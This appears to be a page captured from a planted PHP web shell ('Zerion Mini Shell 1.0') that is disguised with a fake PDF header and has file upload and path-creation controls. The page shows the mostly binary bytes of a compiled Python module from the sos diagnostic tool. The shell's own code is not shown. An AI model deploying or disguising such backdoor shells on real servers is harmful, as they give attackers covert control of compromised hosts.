%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/sos/collector/transports/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/sos/collector/transports/__pycache__/local.cpython-312.pyc

�

i��d`��6�ddlZddlZddlmZGd�de�Zy)�N)�RemoteTransportc�B�eZdZdZdZd�Zd�Zed��Zd�Z	d�Z
d�Zy	)
�LocalTransportz�
    A 'transport' to represent a local node. No remote connection is actually
    made, and all commands set to be run by this transport are executed locally
    without any wrappers.
    �
local_nodec��y�NT�)�self�passwords  �@/usr/lib/python3/dist-packages/sos/collector/transports/local.py�_connectzLocalTransport._connect����c��yrr	�r
s r�_disconnectzLocalTransport._disconnectrrc��yrr	rs r�	connectedzLocalTransport.connected s��rc�^�|jd|�d|���tj||�y)NzMoving z to T)�	log_debug�shutil�copy)r
�fname�dests   r�_retrieve_filezLocalTransport._retrieve_file$s$�����E�4�8�9����E�4� �rc��|S)Nr	)r
�cmds  r�_format_cmd_for_execz#LocalTransport._format_cmd_for_exec)s���
rc���tjj|�r&t|d�5}|j	�cddd�S|jd|z�y#1swY�xYw)N�rzNo such file: %s�)�os�path�exists�open�readr)r
r�rfiles   r�
_read_filezLocalTransport._read_file,sV��
�7�7�>�>�%� ��e�S�!�
$�U��z�z�|�
$�
$����)�E�1�2��
$�
$�s�A�A$N)�__name__�
__module__�__qualname__�__doc__�namer
r�propertyrrrr(r	rrrrs;����D��������
�rr)r"r�sos.collector.transportsrrr	rr�<module>r0s��
�
�4� �_� r

Zerion Mini Shell 1.0